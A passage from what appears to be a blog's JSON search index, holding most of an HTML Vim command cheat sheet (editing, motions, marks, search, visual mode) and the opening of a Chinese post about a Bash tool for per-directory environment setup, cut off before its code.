before the cursor\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ed{motion}\u003c/td\u003e\u003ctd\u003eDelete text that {motion} moves over\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003edd\u003c/td\u003e\u003ctd\u003eDelete [count] lines\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eD\u003c/td\u003e\u003ctd\u003eDelete the characters under the cursor until the end of the line\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e{Visual}x or \u003cbr\u003e{Visual}d\u003c/td\u003e\u003ctd\u003eDelete the highlighted text (for {Visual} see \u003ca href=\"http://fprintf.net/vimCheatSheet.html#select\"\u003eSelecting Text\u003c/a\u003e).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e{Visual}CTRL-H or \u003cbr\u003e{Visual}\u003c/td\u003e\u003ctd\u003eWhen in Select mode: Delete the highlighted text\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e{Visual}X or \u003cbr\u003e{Visual}D\u003c/td\u003e\u003ctd\u003eDelete the highlighted lines\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[range]d[elete]\u003c/td\u003e\u003ctd\u003eDelete [range] lines (default: current line)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[range]d[elete] {count}\u003c/td\u003e\u003ctd\u003eDelete {count} lines, starting with [range]\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr\u003e\u003ch2 id=\"Changing-or-Replacing-Text\"\u003e\u003ca href=\"#Changing-or-Replacing-Text\" class=\"headerlink\" title=\"Changing (or Replacing) Text\"\u003e\u003c/a\u003eChanging (or Replacing) Text\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003er{char}\u003c/td\u003e\u003ctd\u003ereplace the character under the cursor with {char}.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eR\u003c/td\u003e\u003ctd\u003eEnter Insert mode, replacing characters rather than inserting\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e~\u003c/td\u003e\u003ctd\u003eSwitch case of the character under the cursor and move the cursor to the right. If a [count] is given, do that many characters.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e~{motion}\u003c/td\u003e\u003ctd\u003eswitch case of {motion} text.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e{Visual}~\u003c/td\u003e\u003ctd\u003eSwitch case of highlighted text\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr\u003e\u003ch2 id=\"Substituting\"\u003e\u003ca href=\"#Substituting\" class=\"headerlink\" title=\"Substituting\"\u003e\u003c/a\u003eSubstituting\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e:[range]s[ubstitute]\u0026#x2F;{pattern}\u0026#x2F;{string}\u0026#x2F;[c][e][g][p][r][i][I] [count]\u003c/td\u003e\u003ctd\u003eFor each line in [range] replace a match of {pattern} with {string}.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[range]s[ubstitute] [c][e][g][r][i][I] [count] :[range]\u0026amp;[c][e][g][r][i][I] [count]\u003c/td\u003e\u003ctd\u003eRepeat last :substitute with same search pattern and substitute string, but without the same flags. You may add extra flags\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003eThe arguments that you can use for the substitute commands:\u003cbr\u003e[c] Confirm each substitution. Vim positions the cursor on the matching\u003cbr\u003e string. You can type:\u003cbr\u003e ‘y’ to substitute this match\u003cbr\u003e ‘n’ to skip this match\u003cbr\u003e to skip this match\u003cbr\u003e ‘a’ to substitute this and all remaining matches {not in Vi}\u003cbr\u003e ‘q’ to quit substituting {not in Vi}\u003cbr\u003e CTRL-E to scroll the screen up {not in Vi}\u003cbr\u003e CTRL-Y to scroll the screen down {not in Vi}.\u003cbr\u003e[e] When the search pattern fails, do not issue an error message and, in\u003cbr\u003e particular, continue in maps as if no error occurred.\u003cbr\u003e[g] Replace all occurrences in the line. Without this argument,\u003cbr\u003e replacement occurs only for the first occurrence in each line.\u003cbr\u003e[i] Ignore case for the pattern.\u003cbr\u003e[I] Don’t ignore case for the pattern.\u003cbr\u003e[p] Print the line containing the last substitute.\u003c/p\u003e\u003chr\u003e\u003ch2 id=\"Copying-and-Moving-Text\"\u003e\u003ca href=\"#Copying-and-Moving-Text\" class=\"headerlink\" title=\"Copying and Moving Text\"\u003e\u003c/a\u003eCopying and Moving Text\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e“{a-zA-Z0-9.%#:-“}\u003c/td\u003e\u003ctd\u003eUse register {a-zA-Z0-9.%#:-“} for next delete, yank or put (use uppercase character to append with delete and yank) ({.%#:} only work with put).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:reg[isters]\u003c/td\u003e\u003ctd\u003eDisplay the contents of all numbered and named registers.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:reg[isters] {arg}\u003c/td\u003e\u003ctd\u003eDisplay the contents of the numbered and named registers that are mentioned in {arg}.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:di[splay] [arg]\u003c/td\u003e\u003ctd\u003eSame as :registers.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[“x]y{motion}\u003c/td\u003e\u003ctd\u003eYank {motion} text [into register x].\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[“x]yy\u003c/td\u003e\u003ctd\u003eYank [count] lines [into register x]\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[“x]Y\u003c/td\u003e\u003ctd\u003eyank [count] lines [into register x] (synonym for yy).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e{Visual}[“x]y\u003c/td\u003e\u003ctd\u003eYank the highlighted text [into register x] (for {Visual} see \u003ca href=\"http://fprintf.net/vimCheatSheet.html#select\"\u003eSelecting Text\u003c/a\u003e).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e{Visual}[“x]Y\u003c/td\u003e\u003ctd\u003eYank the highlighted lines [into register x]\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[range]y[ank] [x]\u003c/td\u003e\u003ctd\u003eYank [range] lines [into register x].\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[range]y[ank] [x] {count}\u003c/td\u003e\u003ctd\u003eYank {count} lines, starting with last line number in [range] (default: current line), [into register x].\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[“x]p\u003c/td\u003e\u003ctd\u003ePut the text [from register x] after the cursor [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[“x]P\u003c/td\u003e\u003ctd\u003ePut the text [from register x] before the cursor [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[“x]gp\u003c/td\u003e\u003ctd\u003eJust like “p”, but leave the cursor just after the new text.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[“x]gP\u003c/td\u003e\u003ctd\u003eJust like “P”, but leave the cursor just after the new text.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[line]pu[t] [x]\u003c/td\u003e\u003ctd\u003ePut the text [from register x] after [line] (default current line).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[line]pu[t]! [x]\u003c/td\u003e\u003ctd\u003ePut the text [from register x] before [line] (default current line).\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr\u003e\u003ch2 id=\"Undo-x2F-Redo-x2F-Repeat\"\u003e\u003ca href=\"#Undo-x2F-Redo-x2F-Repeat\" class=\"headerlink\" title=\"Undo\u0026#x2F;Redo\u0026#x2F;Repeat\"\u003e\u003c/a\u003eUndo\u0026#x2F;Redo\u0026#x2F;Repeat\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003eu\u003c/td\u003e\u003ctd\u003eUndo [count] changes.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:u[ndo]\u003c/td\u003e\u003ctd\u003eUndo one change.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eCTRL-R\u003c/td\u003e\u003ctd\u003eRedo [count] changes which were undone.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:red[o]\u003c/td\u003e\u003ctd\u003eRedo one change which was undone.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eU\u003c/td\u003e\u003ctd\u003eUndo all latest changes on one line. {Vi: while not moved off of it}\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e.\u003c/td\u003e\u003ctd\u003eRepeat last change, with count replaced with [count].\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr\u003e\u003ch2 id=\"Moving-Around\"\u003e\u003ca href=\"#Moving-Around\" class=\"headerlink\" title=\"Moving Around\"\u003e\u003c/a\u003eMoving Around\u003c/h2\u003e\u003cp\u003eBasic motion commands:\u003c/p\u003e\u003cpre\u003e\u003ccode\u003e k h l j \u003c/code\u003e\u003c/pre\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003eh or\u003c/td\u003e\u003ctd\u003e[count] characters to the left (exclusive).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003el or \u003cbr\u003eor\u003c/td\u003e\u003ctd\u003e[count] characters to the right (exclusive).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ek or \u003cbr\u003eor \u003cbr\u003eCTRL-P\u003c/td\u003e\u003ctd\u003e[count] lines upward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ej or \u003cbr\u003eor \u003cbr\u003eCTRL-J or \u003cbr\u003eor \u003cbr\u003eCTRL-N\u003c/td\u003e\u003ctd\u003e[count] lines downward (linewise).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003eTo the first character of the line (exclusive).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cHome\u003e\u003c/td\u003e\u003ctd\u003eTo the first character of the line (exclusive).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e^\u003c/td\u003e\u003ctd\u003eTo the first non-blank character of the line\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e$ or \u003cbr\u003e\u003cEnd\u003e\u003c/td\u003e\u003ctd\u003eTo the end of the line and [count - 1] lines downward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eg0 or \u003cbr\u003eg\u003cHome\u003e\u003c/td\u003e\u003ctd\u003eWhen lines wrap (‘wrap on): To the first character of the screen line (exclusive). Differs from “0” when a line is wider than the screen. When lines don’t wrap (‘wrap’ off): To the leftmost character of the current line that is on the screen. Differs from “0” when the first character of the line is not on the screen.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eg^\u003c/td\u003e\u003ctd\u003eWhen lines wrap (‘wrap’ on): To the first non-blank character of the screen line (exclusive). Differs from “^” when a line is wider than the screen. When lines don’t wrap (‘wrap’ off): To the leftmost non-blank character of the current line that is on the screen. Differs from “^” when the first non-blank character of the line is not on the screen.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eg$ or \u003cbr\u003eg\u0026lt;End\u0026amp;gr;\u003c/td\u003e\u003ctd\u003eWhen lines wrap (‘wrap’ on): To the last character of the screen line and [count - 1] screen lines downward (inclusive). Differs from “$” when a line is wider than the screen. When lines don’t wrap (‘wrap’ off): To the rightmost character of the current line that is visible on the screen. Differs from “$” when the last character of the line is not on the screen or when a count is used.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ef{char}\u003c/td\u003e\u003ctd\u003eTo [count]’th occurrence of {char} to the right. The cursor is placed on {char} (inclusive).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eF{char}\u003c/td\u003e\u003ctd\u003eTo the [count]’th occurrence of {char} to the left. The cursor is placed on {char} (inclusive).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003et{char}\u003c/td\u003e\u003ctd\u003eTill before [count]’th occurrence of {char} to the right. The cursor is placed on the character left of {char} (inclusive).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eT{char}\u003c/td\u003e\u003ctd\u003eTill after [count]’th occurrence of {char} to the left. The cursor is placed on the character right of {char} (inclusive).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e;\u003c/td\u003e\u003ctd\u003eRepeat latest f, t, F or T [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e,\u003c/td\u003e\u003ctd\u003eRepeat latest f, t, F or T in opposite direction [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e- \u003cminus\u003e\u003c/td\u003e\u003ctd\u003e[count] lines upward, on the first non-blank character (linewise).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e+ or \u003cbr\u003eCTRL-M or \u003cbr\u003e\u003cCR\u003e\u003c/td\u003e\u003ctd\u003e[count] lines downward, on the first non-blank character (linewise).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e_ \u003cunderscore\u003e\u003c/td\u003e\u003ctd\u003e[count] - 1 lines downward, on the first non-blank character (linewise).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cC-End\u003e or \u003cbr\u003eG\u003c/td\u003e\u003ctd\u003eGoto line [count], default last line, on the first non-blank character.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cC-Home\u003e or \u003cbr\u003egg\u003c/td\u003e\u003ctd\u003eGoto line [count], default first line, on the first non-blank character.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cS-Right\u003e or \u003cbr\u003ew\u003c/td\u003e\u003ctd\u003e[count] words forward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cC-Right\u003e or \u003cbr\u003eW\u003c/td\u003e\u003ctd\u003e[count] WORDS forward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ee\u003c/td\u003e\u003ctd\u003eForward to the end of word [count]\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eE\u003c/td\u003e\u003ctd\u003eForward to the end of WORD [count]\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cS-Left\u003e or \u003cbr\u003eb\u003c/td\u003e\u003ctd\u003e[count] words backward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cC-Left\u003e or \u003cbr\u003eB\u003c/td\u003e\u003ctd\u003e[count] WORDS backward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ege\u003c/td\u003e\u003ctd\u003eBackward to the end of word [count]\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003egE\u003c/td\u003e\u003ctd\u003eBackward to the end of WORD [count]\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003eThese commands move over words or WORDS.\u003c/p\u003e\u003cp\u003eA word consists of a sequence of letters, digits and underscores, or a sequence of other non-blank characters, separated with white space (spaces, tabs, ). This can be changed with the ‘iskeyword’ option.\u003c/p\u003e\u003cp\u003eA WORD consists of a sequence of non-blank characters, separated with white space. An empty line is also considered to be a word and a WORD.\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e(\u003c/td\u003e\u003ctd\u003e[count] sentences backward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e)\u003c/td\u003e\u003ctd\u003e[count] sentences forward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e{\u003c/td\u003e\u003ctd\u003e[count] paragraphs backward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e}\u003c/td\u003e\u003ctd\u003e[count] paragraphs forward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e]]\u003c/td\u003e\u003ctd\u003e[count] sections forward or to the next ‘{‘ in the first column. When used after an operator, then the ‘}’ in the first column.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e][\u003c/td\u003e\u003ctd\u003e[count] sections forward or to the next ‘}’ in the first column\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[[\u003c/td\u003e\u003ctd\u003e[count] sections backward or to the previous ‘{‘ in the first column\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[]\u003c/td\u003e\u003ctd\u003e[count] sections backward or to the previous ‘}’ in the first column\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003eScreen movement commands\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003ez.\u003c/td\u003e\u003ctd\u003eCenter the screen on the cursor\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ezt\u003c/td\u003e\u003ctd\u003eScroll the screen so the cursor is at the top\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ezb\u003c/td\u003e\u003ctd\u003eScroll the screen so the cursor is at the bottom\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr\u003e\u003ch2 id=\"Marks\"\u003e\u003ca href=\"#Marks\" class=\"headerlink\" title=\"Marks\"\u003e\u003c/a\u003eMarks\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003em{a-zA-Z}\u003c/td\u003e\u003ctd\u003eSet mark {a-zA-Z} at cursor position (does not move the cursor, this is not a motion command).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003em’ or \u003cbr\u003em\u0026#96;\u003c/td\u003e\u003ctd\u003eSet the previous context mark. This can be jumped to with the “‘’” or “\u0026#96;\u0026#96;” command (does not move the cursor, this is not a motion command).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[range]ma[rk] {a-zA-Z}\u003c/td\u003e\u003ctd\u003eSet mark {a-zA-Z} at last line number in [range], column 0. Default is cursor line.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[range]k{a-zA-Z}\u003c/td\u003e\u003ctd\u003eSame as :mark, but the space before the mark name can be omitted.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e‘{a-z}\u003c/td\u003e\u003ctd\u003eTo the first non-blank character on the line with mark {a-z} (linewise).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e‘{A-Z0-9}\u003c/td\u003e\u003ctd\u003eTo the first non-blank character on the line with mark {A-Z0-9} in the correct file\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026#96;{a-z}\u003c/td\u003e\u003ctd\u003eTo the mark {a-z}\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026#96;{A-Z0-9}\u003c/td\u003e\u003ctd\u003eTo the mark {A-Z0-9} in the correct file\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:marks\u003c/td\u003e\u003ctd\u003eList all the current marks (not a motion command).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:marks {arg}\u003c/td\u003e\u003ctd\u003eList the marks that are mentioned in {arg} (not a motion command). For example:\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr\u003e\u003ch2 id=\"Searching\"\u003e\u003ca href=\"#Searching\" class=\"headerlink\" title=\"Searching\"\u003e\u003c/a\u003eSearching\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e\u0026#x2F;{pattern}[\u0026#x2F;]\u003c/td\u003e\u003ctd\u003eSearch forward for the [count]’th occurrence of {pattern}\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026#x2F;{pattern}\u0026#x2F;{offset}\u003c/td\u003e\u003ctd\u003eSearch forward for the [count]’th occurrence of {pattern} and go {offset} lines up or down.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026#x2F;\u003cCR\u003e\u003c/td\u003e\u003ctd\u003eSearch forward for the [count]’th latest used pattern\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u0026#x2F;\u0026#x2F;{offset}\u003cCR\u003e\u003c/td\u003e\u003ctd\u003eSearch forward for the [count]’th latest used pattern with new. If {offset} is empty no offset is used.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e?{pattern}[?]\u003cCR\u003e\u003c/td\u003e\u003ctd\u003eSearch backward for the [count]’th previous occurrence of {pattern}\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e?{pattern}?{offset}\u003cCR\u003e\u003c/td\u003e\u003ctd\u003eSearch backward for the [count]’th previous occurrence of {pattern} and go {offset} lines up or down\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e?\u003cCR\u003e\u003c/td\u003e\u003ctd\u003eSearch backward for the [count]’th latest used pattern\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e??{offset}\u003cCR\u003e\u003c/td\u003e\u003ctd\u003eSearch backward for the [count]’th latest used pattern with new {offset}. If {offset} is empty no offset is used.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003en\u003c/td\u003e\u003ctd\u003eRepeat the latest “\u0026#x2F;“ or “?” [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eN\u003c/td\u003e\u003ctd\u003eRepeat the latest “\u0026#x2F;“ or “?” [count] times in opposite direction.\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr\u003e\u003ch2 id=\"Selecting-Text-Visual-Mode\"\u003e\u003ca href=\"#Selecting-Text-Visual-Mode\" class=\"headerlink\" title=\"Selecting Text (Visual Mode)\"\u003e\u003c/a\u003eSelecting Text (Visual Mode)\u003c/h2\u003e\u003cp\u003eTo select text, enter visual mode with one of the commands below, and use \u003ca href=\"http://fprintf.net/vimCheatSheet.html#motion\"\u003emotion commands\u003c/a\u003e to highlight the text you are interested in. Then, use some command on the text.\u003c/p\u003e\u003cp\u003eThe operators that can be used are:\u003cbr\u003e ~ switch case\u003cbr\u003e d delete\u003cbr\u003e c change\u003cbr\u003e y yank\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e shift right\u003cbr\u003e \u0026lt; shift left\u003cbr\u003e ! filter through external command\u003cbr\u003e \u0026#x3D; filter through ‘equalprg’ option command\u003cbr\u003e gq format lines to ‘textwidth’ length \u003c/p\u003e\u003c/blockquote\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003ev\u003c/td\u003e\u003ctd\u003estart Visual mode per character.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eV\u003c/td\u003e\u003ctd\u003estart Visual mode linewise.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cEsc\u003e\u003c/td\u003e\u003ctd\u003eexit Visual mode without making any changes\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr\u003e\u003ch2 id=\"How-to-Suspend\"\u003e\u003ca href=\"#How-to-Suspend\" class=\"headerlink\" title=\"How to Suspend\"\u003e\u003c/a\u003eHow to Suspend\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003eCTRL-Z\u003c/td\u003e\u003ctd\u003eSuspend Vim, like “:stop”. Works in Normal and in Visual mode. In Insert and Command-line mode, the CTRL-Z is inserted as a normal character.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:sus[pend][!] or \u003cbr\u003e:st[op][!]\u003c/td\u003e\u003ctd\u003eSuspend Vim. If the ‘!’ is not given and ‘autowrite’ is set, every buffer with changes and a file name is written out. If the ‘!’ is given or ‘autowrite’ is not set, changed buffers are not written, don’t forget to bring Vim back to the foreground later!\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr\u003e\u003cp\u003e\u003ca href=\"http://www.catb.org/hacker-emblem/\"\u003e\u003cimg src=\"http://www.catb.org/hacker-emblem/glider.png\"\u003e\u003c/a\u003e\u003c/p\u003e\u003cp\u003eDaniel Gryniewicz \u0026#x2F; \u003ca href=\"mailto:dang@fprintf.net\"\u003edang@fprintf.net\u003c/a\u003e\u003c/p\u003e","url":"https://mxts.jiujiuer.xyz/2023/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E5%A4%87%E5%BF%98%E5%BD%95/"},{"title":"基于Bash的目录级环境配置工具","time":"2023-09-26T15:46:55Z","content":"这不比Windows爽\u003chr /\u003e\u003cp\u003e最近对于Bash愈发迷恋,几乎任何会花费我超过30秒时间的任务,我都会考虑\u003cdel\u003e打个脚先\u003c/del\u003e写个脚本搞定。再比如说写博客,这种纯输出流就很适合Vim啊,作为一个Vim\u003cdel\u003e批\u003c/del\u003e必然是原教旨主义最好啊:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"/img/Pasted%20image%2020230926235753.png\" alt=\"算了截图还是用Obsidian粘吧\"\u003e\u003c/p\u003e\u003cp\u003e但是除了截图粘贴不方便外,还有一些比较难受的地方。在Obsidian里边我是能直接用插件的各种功能快速编写博客的,虽然在Bash终端环境下编写脚本确实更方便了,但是脚本一多,目录就乱的不能看力:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan 